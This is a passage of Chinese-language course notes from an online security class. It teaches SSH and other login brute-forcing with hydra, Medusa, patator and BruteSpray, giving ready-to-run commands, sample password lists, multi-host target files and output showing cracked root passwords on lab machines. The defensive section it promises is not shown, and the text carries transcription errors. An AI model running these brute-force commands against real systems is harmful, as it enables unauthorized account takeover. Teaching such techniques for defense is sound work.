开发者学堂课程【网络安全攻防 - Web渗透测试:SSH 密码暴力破解及防御实战_1】学习笔记,与课程紧密联系,让用户快速学习知识。
课程地址:https://developer.aliyun.com/learning/course/630/detail/9929
SSH 密码暴力破解及防御实战_1
内容介绍
一、hydra [海德拉]
二、Medusa [美杜莎]
三、patator
四、BrutesPray
内容简介
所谓的暴力破解更多指的是密码字典,不断去猜测不断去尝试密码,那该如何防御呢?除了密码设置的安全一点,密码设置是一个伪命题,根本设置不到安全,因此了解了暴力破解机制之后,之后就是重点去了解如何防止暴力破解,ssh 是最需要被防御的对象,一旦被攻击之后,系统就被别人接手了,下面介绍几款工具,目的不是暴力破解,是看一下暴力破解的机制,同时落脚点应该是在怎么去防御上面。
这里的破解分为在线破解和离线破解,什么叫在线呢?ssh 服务是开着的,fdb 开着的,通过不断的尝试来进行探测破解,对于这种在线的服务,尝试这种方式叫在线破解。离线破解就是把密码文件弄下来,比如 shuttle 文件,通过md5的这些网站或者工具去破解,不用连接,直接到本地进行破解。现在研究的是在线。
首先有好几个工序是可以直接拿来用的,把 kail 恢复到0环境,快速启动,用到的这些工具都是在 kail 当中,百分之八九十都是有的,一部分需要再安装。
一、hydra [海德拉]
1、背景
(1)海徳拉( Hydra) : 希脂神活中的九尖蛇,是西方的神话生物,在古希腊神话中出现最为频繁,传说他拥有九颗头,其中一颗头钥匙被斩断,立即又会生出两颗头来。
(2)hydra 是世界顶级密码暴力密码破解工具,支持几乎所有协议的在线密码破解,ssh,fdb,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。暴力破解就是不断是猜测不断是去尝试密码。
2、指定用户破解
(1)Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
使用一个用户名叫 user,密码就在 passlist.txt 字典里面,不断的使用用户名,不断的用字典文件里的密码破解,暴力破解。
hydra -L userlist.txt -p defaultpw imap://192.168.0. 1/PLAIN
大 l 是 login,后面跟的是一个文件,也叫字典,因为 fdb 账号不一定是 user 账号,可能也有别的账号,就像 ssh 去访问一个别的机器,它未必用的就是 root,可能还有别的,有密码的字典,用户名的账号的字典,都有可能,p 是password,小 p 后面跟的是指定的密码,大 p 后面跟的是字典文件,后面破解的是 imap 邮箱的账号。还有 pop3s和 ftp。
hydra -C defaults.txt -6
pop3s://[ 2001 :db8::1] :143/TLS:DIGEST-MDS
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
用户和密码都是字典,没有说是哪个机器,暴力破解 targets.txt 这里面所包含的主机的 ssh,它不会去破解某一个机器,首先它会扫描 c 段,扫描所在某个网站的 c 段,哪些机器,20号端口有没有开着,扫描扫到50个开着的 ssh,然后就会去破解一群机器的 ssh。
root@kali:~# hydra -l root -P pass.dic 192.168.106.134 ssh
小l是用户名,后面跟主机和服务
(2)Options:
-R restore a previous aborted/crashed session
-I gnore an existing restore file (don't wait 10 seconds )
-S perform an SSL connect
-
s
PORT
i
f the service is on a different default port
,define it here
-l LOGIN or -L FILE login with LOGIN name
,or load several logins from FILE
登陆的用户名,-L 指定一个文件
-p PASSor -P FILE try password PASS
, or load several passwords from FILE
-p 密码和密码文件
-x MIN: MAX : CHARSET password bruteforce generation
, type "-x -h" to get help
-y disable use of symbols in bruteforce
,see above
-e nsr try "n" null password
, "s" login as pass and/or "r" reversed login
-e n 表示是不是空密码
-u loop around users
, not passwords (effective! implied with -x)
注意这个不是用户
-C FILE colon sepa rated"login:pass" format
, instead of -L/-P options
-M FILE list of servers to attack
,one entry per line ,':' to specify port
-M 列出一个服务的攻击或者是列表
-
o
FILE write found login/password pairs to FILE instead of stdout
-o 发现用户名和密码是一对写到一个标准的文件里面
-b FORMAT specify the format for the -0 FILE: text(default)
, json, jsonv1
-f/-F exit when a login/pass pair is found (-M: -f per host
, -F global)
-t TASKS run TASKS number of connects in parallel per target (default: 16)
(3)演示,就把密码写在一个文件里面,创建一个 vim passlist.txt
123456
admin
111
redhat
dengxin
再随便写一些错误的密码
Ssss
yuyeyeye
Iudududu
qwert
123
输入vim passlist.txt
Root
admin
jack
alice
zhuzhuxia
3、用户列表破解
root@kali:~# hydra -L userli
s
t.txt -P passlist.txt -M hosts
,t
xt
ssh -
o -
hydra . ok
-L 用户名,密码列表,主机列表,-o 输出
输入10.30.162.62
10.30.162.163
10.30.162.142
10.30.162.16
用法很简单,直接指定62这台机器,就可以很快的得到账号和密码。
输入# hydra -L userlist. txt -P passlist. txt -M hostlist. txt ssh -O ssh-hydra. txt
演示结果如下:
这样就可以把输出的结果输入到文件里面去,尝试量是很大的。
演示结果如下:
二、Medusa [美杜莎]
1、背景
(1)美杜莎是希腊神话里的一个女妖怪,她的头发是毒蛇,长的青面獠牙,她知道自己丑,她要报复,她把见过她的人都变成了石头。据说她原是一位美丽的少女,之所以变成蛇发女妖因为美杜莎和智慧女神雅典娜比美,雅典娜怒之下将梅杜莎的头发变成毒蛇,变成面目丑陋的怪物。
(2)Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa 和 hydra 一样,同样属于在线密码破解工具。不同的是, medusa 的稳定性相较于 hydra 要好很多,但其支持模块要比 hydra 少一些。
2、语法参数
Medusa [-h host | -H file] [-u username|-U file] [-p password|-P file][Cfile]Mmodule[OPT]
-h [TEXT] 目标主机名称或者 IP 地址
-H [FILE] 包含目标主机名称或者 IP 地址文件
-u [TEXT] 测试的用户名
-U [FILE] 包含测试的用户名文件
-P [TEXT] 测试的密码
-P [FILE] 包含测试的密码文件
-C [FILE] 组合条目文件
-0 [FILE] 日志信息文件
-e [n/s/ns] n 代表空密码,s 代表为密码与用户名相同
-M [TEXT] 模块执行名称,海得拉主机文件里面就写了一个 IP 值,
-M hostlist. txt ssh 是这么指的,其实不用这么指,可以直接写成 ftp://[192.168.0.0/24]这种形式,这样后面就不用再跟 ssh,ssh 是模块,就不用在后面加模块的名字,走了两步,像 ftp://192.168.0.1写到文件列表里面去就可以,M 是模块,跟美杜莎语法参数是一样的。
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认 Tcp 端口
-S 启用 SSL
-r [NUM] 重试间隔时间,默认为3秒
-t [NUM] 设定线程数量
-T同时测试的主机总数
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-F 在任何主机上找到第一个有效的用户名/密码后停止审计
-q 显示模块的使用信息
-V [NUM] 详细级别(0-6 )
-W [NUM] 错误调试级别(0-10 )
-V 显示版本
-Z [TEXT] 继续扫描上一次
3、破解 SSH 密码
(1)root@kali:~# medusa -M ssh -h 192.168.106.134 -u root -P passlist. Txt
美杜莎,-M 模块,-h 后面加上目标主机,-u 用户名,-p 密码
演示代码:
root@kali:~# medusa -M ssh -u root -P passlist. txt -H hostlist. txt
短的代码是成功的,长的代码是不成功的,
ACCOUNT FOUND: [ssh] Host: 10.30.162.163 User: root Password: dengxin [ SUCCESS]
(2)root@kali:~# medusa-M ssh -H hostlist.txt -U userlist.txt -P passlist. Txt
(3)root@kali:~# medusa -M ssh -h 192.168.106.134 -U userlist.txtKR passlist.txt -F
192.168.106.134 User: admin Password: 123 [ SUCCESS ]
屏蔽不重要,重要的是输出,屏蔽了也看不出来,没有限程数,导致输出很慢,输出结果如下:
# Medusa v.2.2 (2018- 11-21 22:32:20)
# medusa -M ssh -u root -P passlist. txt -H hostlist. txt -0 ssh- medusa. txt
ACCOUNT FOUND :
[ssh] Host: 10.30.162.62 User:m root Password: redhat
[SUCCESS ]
ACCOUNT FOUND:
[ssh] Host: 10.30.162.163 User: root Password: dengxin [ SUCCESS ]
ACCOUNT FOUND:
[ssh] Host: 10.30.162. 142 User: root Password: qwert [ SUCCESS ]
# Medusa has finished (2018-11-21 22:33: 11)
如果把用户名换成大 U,就会输出很多。
(4)root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt -0 ssh.log
三、patator
patator,强大的命令行暴力破解器
1、可用模块
root@kali:-# patator -h -h 就是可用模块
Patator v0.6 (
http://code . google
. com/ p/patator/)
Usage: patator module --help
Available modules:
ftp_ login : Brute-force FTP
暴力破解 FTP
ssh_ login :Brute-force SSH
暴力破解SSH
telnet_ login : Brute- force Telnet
smtp_ login:Brute- force SMTP
smtp_ vrfy:Enumerate valid users using SMTP VRFY
smtp_ rcpt:Enumerate valid users using SMTP RCPT TO
Finger_ lookup : Enumerate valid users using Finger
http_ fuzz:Brute-force HTTP
pop_ login:Brute-force POP3
pop_ passd:Brute force poppassd (http:/ /netwinsite . com/poppassd/)
imap_ login:Brute-force IMAP4
ldap_ login : Brute-force LDAP
smb_login:Brute-force SMB
smb_lookupsid : Brute-force SMB SID- lookup
rlogin_ login : Brute- force rlogin
vmauthd_login : Brute-force VMware Authent ication Daenon
mssql_ login:Brute-force MSSQL
oracle_ login :Brute-force 0racle
mysql_ login:Brute-force MySQL
mysql query:Brute- force MySQL queries
pgsql_ login:Brute-force PostgreSQL
vnc_ login:Brute-force VNC
dns forward: Forward lookup names
2、破解 SSH 密码
root@kali:~# patator ssh_ login --help
想知道 ssh 怎么用,输入 help
Patator v0.6 (http://code. google. com/p/patator/)
Usage: ssh_ login <module-options ...> [global-options ...]
Examples:
ssh_ login host=10.0.0.1 user=root password=FILEO 0=passwords.txt -x
ssh_ login
是模块的名字
ignore:mesg-' Authentication failed. "
前面加软件后面加模块的名字
root@kali:~# patator ssh_ login host =192.168.106.134 user= root password=FILE00=passlist. txt
root@kali:~# patator ssh_ login host=192.168. 106.134user=rootpassword=FILEØ0=passlist.txt \-x ignore:mesg=" Authentication failed. '
root@kali:~# patator ssh_ loginhost=192.168.106.134user=FILE11=userlist.txtpassword=FILEØ
Ø=passlist.txt -x ignore:mesg- ' Authentication failed . '
root@kali:~# patator ssh_ login host-192 .[68.106. 134 user-FILEØ 0=userlist. txt password-FILE11=passlist.txt -x ignore :mesg=' Authentication failed.
演示:
输入 root@kali:~# patator ssh_ login host =10.30.162.62 user= rootpassword=FILE00=passlist. txt
演示结果如下,第一个成功了,后面都是失败的,failed 是失败的。
这是密码的字典,换成用户名的字典。输入 root@kali:~# patator ssh_ login host=10.30.162.62 user=FILE0 0=userlist. txt password=FILE1 1=passlist. Txt
这样用户名在前面,密码在后面演示结果如下。
如果不想看到失败的结果,可以输入-x ignore :mesg=' Authentication failed 忽略它。
演示结果如下。
四、BrutesPray
1、背景:
BruteSpray 是一款基于 nmap 扫描输出的 gnmap/XML 文件,自动调用 Medusa 对服务进行爆破(Medusa 美杜莎是一款端口爆破工具,速度比 Hydra 九头蛇快)。
2、Kali 端安装:
root@kali:~# apt-get update
root@kali:~# apt-get install brutespray